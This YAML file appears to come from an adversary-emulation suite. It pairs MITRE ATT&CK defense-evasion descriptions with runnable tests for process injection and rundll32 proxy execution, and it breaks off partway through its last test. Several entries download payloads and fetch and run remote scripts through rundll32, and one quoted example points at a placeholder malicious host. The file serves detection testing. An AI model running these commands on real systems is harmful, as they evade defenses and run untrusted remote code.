---
defense-evasion:
  T1055.011:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298
      type: attack-pattern
      created: '2020-01-14T17:18:32.126Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.011
        url: https://attack.mitre.org/techniques/T1055/011
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
        description: Microsoft. (n.d.). About Window Classes. Retrieved December 16,
          2017.
        source_name: Microsoft Window Classes
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
        description: Microsoft. (n.d.). GetWindowLong function. Retrieved December
          16, 2017.
        source_name: Microsoft GetWindowLong function
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
        description: Microsoft. (n.d.). SetWindowLong function. Retrieved December
          16, 2017.
        source_name: Microsoft SetWindowLong function
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
        description: MalwareTech. (2013, August 13). PowerLoader Injection – Something
          truly amazing. Retrieved December 16, 2017.
        source_name: MalwareTech Power Loader Aug 2013
      - url: https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/
        description: Matrosov, A. (2013, March 19). Gapz and Redyms droppers based
          on Power Loader code. Retrieved December 16, 2017.
        source_name: WeLiveSecurity Gapz and Redyms Mar 2013
      - url: https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
        description: Microsoft. (n.d.). SendNotifyMessage function. Retrieved December
          16, 2017.
        source_name: Microsoft SendNotifyMessage function
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Process Injection: Extra Window Memory Injection'
      description: "Adversaries may inject malicious code into process via Extra Window
        Memory (EWM) in order to evade process-based defenses as well as possibly
        elevate privileges. EWM injection is a method of executing arbitrary code
        in the address space of a separate live process. \n\nBefore creating a window,
        graphical Windows-based processes must prescribe to or register a windows
        class, which stipulate appearance and behavior (via windows procedures, which
        are functions that handle input/output of data).(Citation: Microsoft Window
        Classes) Registration of new windows classes can include a request for up
        to 40 bytes of EWM to be appended to the allocated memory of each instance
        of that class. This EWM is intended to store data specific to that window
        and has specific application programming interface (API) functions to set
        and get its value. (Citation: Microsoft GetWindowLong function) (Citation:
        Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough
        to store a 32-bit pointer and is often used to point to a windows procedure.
        Malware may possibly utilize this memory location in part of an attack chain
        that includes writing code to shared sections of the process’s memory, placing
        a pointer to the code in EWM, then invoking execution by returning execution
        control to the address in the process’s EWM.\n\nExecution granted through
        EWM injection may allow access to both the target process's memory and possibly
        elevated privileges. Writing payloads to shared sections also avoids the use
        of highly monitored API calls such as <code>WriteProcessMemory</code> and
        <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July
        2017) More sophisticated malware samples may also potentially bypass protection
        mechanisms such as data execution prevention (DEP) by triggering a combination
        of windows procedures and other system functions that will rewrite the malicious
        payload inside an executable portion of the target process.  (Citation: MalwareTech
        Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning
        code in the context of another process may allow access to the process's memory,
        system/network resources, and possibly elevated privileges. Execution via
        EWM injection may also evade detection from security products since the execution
        is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: 'Monitor for API calls related to enumerating and manipulating
        EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and
        SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated
        with this technique have also used SendNotifyMessage (Citation: Microsoft
        SendNotifyMessage function) to trigger the associated window procedure and
        eventual malicious injection. (Citation: Elastic Process Injection July 2017)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1055.011
    atomic_tests:
    - name: Process Injection via Extra Window Memory (EWM) x64 executable
      auto_generated_guid: 93ca40d2-336c-446d-bcef-87f14d438018
      description: Hooks functions of main process to inject a payload via Extra Window
        Memory (EWM) injection technique
      supported_platforms:
      - windows
      input_arguments:
        arch:
          description: Architecture of payload. One of (x64, x86)
          type: string
          default: x64
        exe_binary:
          description: PE binary for EWM injection
          type: path
          default: PathToAtomicsFolder\T1055.011\bin\T1055.011_#{arch}.exe
        payload_file:
          description: raw payload to inject
          type: path
          default: PathToAtomicsFolder\T1055.011\bin\payload.exe_#{arch}.bin
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1055.011x64.exe and payload must exist on disk at specified
          location (#{exe_binary} and #{payload_file})'
        prereq_command: 'if (Test-Path #{exe_binary}) {exit 0} else {exit 1}'
        get_prereq_command: |-
          New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/T1055.011_#{arch}.exe" -OutFile "#{exe_binary}" -UseBasicParsing
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/payload.exe_#{arch}.bin" -OutFile "#{payload_file}" -UseBasicParsing
      executor:
        command: "#{exe_binary}"
        cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue |
          Stop-Process -Force
        name: powershell
        elevation_required: false
  T1205.002:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Socket Filters
      description: |-
        Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.

        To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)

        Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`.  Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Identify running processes with raw sockets. Ensure processes
        listed have a need for an open raw socket and are in accordance with enterprise
        policy.(Citation: crowdstrike bpf socket filters)'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Tim (Wadhwa-)Brown
      - CrowdStrike
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      type: attack-pattern
      id: attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520
      created: '2022-09-30T21:18:41.930Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1205/002
        external_id: T1205.002
      - source_name: exatrack bpf filters passive backdoors
        description: 'ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of
          a passive backdoor. Retrieved October 18, 2022.'
        url: https://exatrack.com/public/Tricephalic_Hellkeeper.pdf
      - source_name: crowdstrike bpf socket filters
        description: 'Jamie Harries. (2022, May 25). Hunting a Global Telecommunications
          Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October
          18, 2022.'
        url: https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/
      - source_name: Leonardo Turla Penquin May 2020
        description: Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”.
          Retrieved March 11, 2021.
        url: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf
      - source_name: haking9 libpcap network sniffing
        description: 'Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008
          Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.'
        url: http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1027.011:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Fileless Storage
      description: "Adversaries may store data in \"fileless\" formats to conceal
        malicious activity from defenses. Fileless storage can be broadly defined
        as any format other than a file. Common examples of non-volatile fileless
        storage include the Windows Registry, event logs, or WMI repository.(Citation:
        Microsoft Fileless)(Citation: SecureList Fileless)\n\nSimilar to fileless
        in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620)
        and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless
        data storage may remain undetected by anti-virus and other endpoint security
        tools that can only access specific file formats from disk storage.\n\nAdversaries
        may use fileless storage to conceal various types of stored data, including
        payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003))
        and collected data not yet exfiltrated from the victim (e.g., [Local Data
        Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also
        often encrypt, encode, splice, or otherwise obfuscate this fileless data when
        stored.\n\nSome forms of fileless storage activity may indirectly create artifacts
        in the file system, but in central and otherwise difficult to inspect formats
        such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry
        (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft
        Fileless) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Christopher Peacock
      - Denise Tan
      - Mark Wee
      - Simona David
      - Xavier Rousseau
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'WMI: WMI Creation'
      type: attack-pattern
      id: attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939
      created: '2023-03-23T19:55:25.546Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1027/011
        external_id: T1027.011
      - source_name: SecureList Fileless
        description: Legezo, D. (2022, May 4). A new secret stash for “fileless” malware.
          Retrieved March 23, 2023.
        url: https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/
      - source_name: Microsoft Fileless
        description: Microsoft. (2023, February 6). Fileless threats. Retrieved March
          23, 2023.
        url: https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1218.011:
    technique:
      modified: '2023-08-14T15:35:28.965Z'
      name: 'Signed Binary Proxy Execution: Rundll32'
      description: "Adversaries may abuse rundll32.exe to proxy execution of malicious
        code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)),
        may avoid triggering security tools that may not monitor execution of the
        rundll32.exe process because of allowlists or false positives from normal
        operations. Rundll32.exe is commonly associated with executing DLL payloads
        (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).\n\nRundll32.exe can
        also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002)
        Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code>
        and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes
        rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also
        be used to execute scripts such as JavaScript. This can be done using a syntax
        similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication
        \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>
        \ This behavior has been seen used by malware such as Poweliks. (Citation:
        This is Security Command Line Confusion)\n\nAdversaries may also attempt to
        obscure malicious code from analysis by abusing the manner in which rundll32.exe
        loads DLL function names. As part of Windows compatibility support for various
        character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported
        functions before loading the specified function (e.g., given the command <code>rundll32.exe
        ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to
        execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>,
        before loading <code>ExampleFunction</code>). Adversaries may therefore obscure
        malicious code by creating multiple identical exported function names and
        appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation:
        Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions
        can also be exported and executed by an ordinal number (ex: <code>rundll32.exe
        file.dll,#1</code>).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036)
        techniques (such as changing DLL file names, file extensions, or function
        names) to further conceal execution of a malicious payload.(Citation: rundll32.exe
        defense evasion) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Gareth Phillips, Seek Ltd.
      - Casey Smith
      - Ricardo Dias
      - James_inthe_box, Me
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.

        Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'Module: Module Load'
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      - Anti-virus
      type: attack-pattern
      id: attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5
      created: '2020-01-23T18:03:46.248Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1218/011
        external_id: T1218.011
      - source_name: rundll32.exe defense evasion
        description: Ariel silver. (2022, February 1). Defense Evasion Techniques.
          Retrieved April 8, 2022.
        url: https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/
      - source_name: Attackify Rundll32.exe Obscurity
        description: Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23,
          2021.
        url: https://www.attackify.com/blog/rundll32_execution_order/
      - source_name: This is Security Command Line Confusion
        description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion.
          Retrieved March 5, 2018.
        url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
      - source_name: Github NoRunDll
        description: gtworek. (2019, December 17). NoRunDll. Retrieved August 23,
          2021.
        url: https://github.com/gtworek/PSBits/tree/master/NoRunDll
      - source_name: Trend Micro CPL
        description: Merces, F. (2014). CPL Malware Malicious Control Panel Items.
          Retrieved November 1, 2017.
        url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1218.011
    atomic_tests:
    - name: Rundll32 execute JavaScript Remote Payload With GetObject
      auto_generated_guid: 57ba4ce9-ee7a-4f27-9928-3c70c489b59d
      description: "Test execution of a remote script using rundll32.exe. Upon execution
        notepad.exe will be opened. \nThis has been used by Win32/Poweliks malware
        and works as described [here](https://www.stormshield.com/news/poweliks-command-line-confusion/)\n\nNote:
        The GetObject function is no longer supported in Internet Explorer v9 (2011)
        and later so this technique would only work where very old versions of IE
        are installed. \n"
      supported_platforms:
      - windows
      input_arguments:
        file_url:
          description: location of the payload
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct
      executor:
        command: 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();

          '
        cleanup_command: 'taskkill /IM notepad.exe /f

          '
        name: command_prompt
    - name: Rundll32 execute VBscript command
      auto_generated_guid: 638730e7-7aed-43dc-bf8c-8117f805f5bb
      description: |
        Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
        Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
        Upon execution calc.exe will be launched
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: Command for rundll32.exe to execute
          type: string
          default: calc.exe
      executor:
        command: 'rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)

          '
        name: command_prompt
    - name: Rundll32 execute VBscript command using Ordinal number
      auto_generated_guid: 32d1cf1b-cbc2-4c09-8d05-07ec5c83a821
      description: |
        Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
        Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
        Upon execution calc.exe will be launched
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: Command for rundll32.exe to execute
          type: string
          default: calc.exe
      executor:
        command: 'rundll32 vbscript:"\..\mshtml,#135 "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)

          '
        name: command_prompt
    - name: Rundll32 advpack.dll Execution
      auto_generated_guid: d91cae26-7fc1-457b-a854-34c8aad48c89
      description: |
        Test execution of a command using rundll32.exe with advpack.dll.
        Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml
        Upon execution calc.exe will be launched
      supported_platforms:
      - windows
      input_arguments:
        inf_to_execute:
          description: Local location of inf file
          type: string
          default: PathToAtomicsFolder\T1218.011\src\T1218.011.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'Inf file must exist on disk at specified location ("#{inf_to_execute}")

          '
        prereq_command: 'if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
      executor:
        command: 'rundll32.exe advpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,

          '
        name: command_prompt
    - name: Rundll32 ieadvpack.dll Execution
      auto_generated_guid: 5e46a58e-cbf6-45ef-a289-ed7754603df9
      description: |
        Test execution of a command using rundll32.exe with ieadvpack.dll.
        Upon execution calc.exe will be launched

        Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml
      supported_platforms:
      - windows
      input_arguments:
        inf_to_execute:
          description: Local location of inf file
          type: string
          default: PathToAtomicsFolder\T1218.011\src\T1218.011.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'Inf file must exist on disk at specified location ("#{inf_to_execute}")

          '
        prereq_command: 'if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
      executor:
        command: 'rundll32.exe ieadvpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,

          '
        name: command_prompt
    - name: Rundll32 syssetup.dll Execution
      auto_generated_guid: 41fa324a-3946-401e-bbdd-d7991c628125
      description: |
        Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened

        Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml
      supported_platforms:
      - windows
      input_arguments:
        inf_to_execute:
          description: Local location of inf file
          type: string
          default: PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'Inf file must exist on disk at specified location ("#{inf_to_execute}")

          '
        prereq_command: 'if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
      executor:
        command: 'rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall
          128 "#{inf_to_execute}"

          '
        name: command_prompt
    - name: Rundll32 setupapi.dll Execution
      auto_generated_guid: 71d771cd-d6b3-4f34-bc76-a63d47a10b19
      description: |
        Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened

        Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml
      supported_platforms:
      - windows
      input_arguments:
        inf_to_execute:
          description: Local location of inf file
          type: string
          default: PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'Inf file must exist on disk at specified location ("#{inf_to_execute}")

          '
        prereq_command: 'if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
      executor:
        command: 'rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128
          "#{inf_to_execute}"

          '
        name: command_prompt
    - name: Execution of HTA and VBS Files using Rundll32 and URL.dll
      auto_generated_guid: 22cfde89-befe-4e15-9753-47306b37a6e3
      description: |
        IcedID uses this TTP as follows:
          rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta
        Trickbot uses this TTP as follows:
          rundll32.exe URL.dll,FileProtocolHandler C:\\..\\Detail\\akteullen.vbs

        In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript"
      supported_platforms:
      - windows
      executor:
        command: |
          rundll32.exe url.dll,OpenURL "PathToAtomicsFolder\T1218.011\src\index.hta"
          rundll32.exe URL.dll,FileProtocolHandler "PathToAtomicsFolder\T1218.011\src\akteullen.vbs"
        name: command_prompt
    - name: Launches an executable using Rundll32 and pcwutl.dll
      auto_generated_guid: 9f5d081a-ee5a-42f9-a04e-b7bdc487e676
      description: 'Executes the LaunchApplication function in pcwutl.dll to proxy
        execution of an executable.

        '
      supported_platforms:
      - windows
      input_arguments:
        exe_to_launch:
          description: Path of the executable to launch
          type: path
          default: "%windir%\\System32\\notepad.exe"
      executor:
        command: 'rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}

          '
        name: command_prompt
    - name: Execution of non-dll using rundll32.exe
      auto_generated_guid: ae3a8605-b26e-457c-b6b3-2702fd335bac
      description: "Rundll32.exe running non-dll \n"
      supported_platforms:
      - windows
      input_arguments:
        input_url:
          description: Url to download the DLL
          type: url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll
        input_file:
          description: Non-dll file
          type: string
          default: C:\Users\$env:username\Downloads\calc.png
      dependency_executor_name: powershell
      dependencies:
      - description: 'Non-dll file must exist on disk at specified location

          '
        prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: 'Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"

          '
      executor:
        name: powershell
        command: 'rundll32.exe #{input_file}, StartW

          '
    - name: Rundll32 with Ordinal Value
      auto_generated_guid: 9fd5a74b-ba89-482a-8a3e-a5feaa3697b0
      description: "Rundll32.exe loading dll using ordinal value #2 to DLLRegisterServer.
        \nUpon successful execution, Calc.exe will spawn.\n"
      supported_platforms:
      - windows
      input_arguments:
        input_url:
          description: Url to download the DLL
          type: url
          default: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/bin/AllTheThingsx64.dll
        input_file:
          description: DLL File
          type: string
          default: PathToAtomicsFolder\T1218.010\bin\AllTheThingsx64.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'DLL file must exist on disk at specified location

          '
        prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: 'Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"

          '
      executor:
        name: command_prompt
        command: 'rundll32.exe "#{input_file}",#2

          '
    - name: Rundll32 with Control_RunDLL
      auto_generated_guid: e4c04b6f-c492-4782-82c7-3bf75eb8077e
      description: "Rundll32.exe loading dll with 'control_rundll' within the command-line,
        loading a .cpl or another file type related to CVE-2021-40444. \n"
      supported_platforms:
      - windows
      input_arguments:
        input_url:
          description: Url to download the DLL
          type: url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll
        input_file:
          description: DLL File
          type: string
          default: PathToAtomicsFolder\T1047\bin\calc.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'DLL file must exist on disk at specified location

          '
        prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: 'Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"

          '
      executor:
        name: command_prompt
        command: 'rundll32.exe shell32.dll,Control_RunDLL "#{input_file}"

          '
    - name: Rundll32 with desk.cpl
      auto_generated_guid: 83a95136-a496-423c-81d3-1c6750133917
      description: "Rundll32.exe loading an executable renamed as .scr using desk.cpl
        \nReference: \n  - [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)\nSIGMA
        rules:\n  - [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)\n
        \ - [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml)\n"
      supported_platforms:
      - windows
      input_arguments:
        exe_to_launch:
          description: Path of the executable to launch
          type: path
          default: "%windir%\\System32\\calc.exe"
      executor:
        name: command_prompt
        command: |
          copy #{exe_to_launch} not_an_scr.scr
          rundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr
        cleanup_command: del not_an_scr.scr
    - name: Running DLL with .init extension and function
      auto_generated_guid: 2d5029f0-ae20-446f-8811-e7511b58e8b6
      description: |
        This test, based on common Gamarue tradecraft, consists of a DLL file with a .init extension being run by rundll32.exe. When this DLL file's 'krnl' function is called, it launches a Windows pop-up.
        DLL created with the AtomicTestHarnesses Portable Executable Builder script.
      supported_platforms:
      - windows
      input_arguments:
        dll_file:
          description: The DLL file to be called
          type: string
          default: PathToAtomicsFolder\T1218.011\bin\_WT.init
        dll_url:
          description: The URL to the DLL file that must be downloaded
          type: url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/bin/_WT.init
      dependency_executor_name: powershell
      dependencies:
      - description: The DLL file to be called must exist at the specified location
          (#{dll_file})
        prereq_command: if (Test-Path "#{dll_file}") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "#{dll_url}" -OutFile "#{dll_file}"
      executor:
        command: 'rundll32.exe #{dll_file},krnl

          '
        name: command_prompt
    - name: Rundll32 execute command via FileProtocolHandler
      auto_generated_guid: f3ad3c5b-1db1-45c1-81bf-d3370ebab6c8
      description: |
        Test execution of a command using rundll32.exe and the FileProtocolHandler technique.
        Upon execution, calc.exe will be launched.
        This technique is documented by Levan Abesadze - https://medium.com/@Wolverineisstillalive/system-binary-proxy-execution-rundll32-bypass-method-790871e1f2b7
      supported_platforms:
      - windows
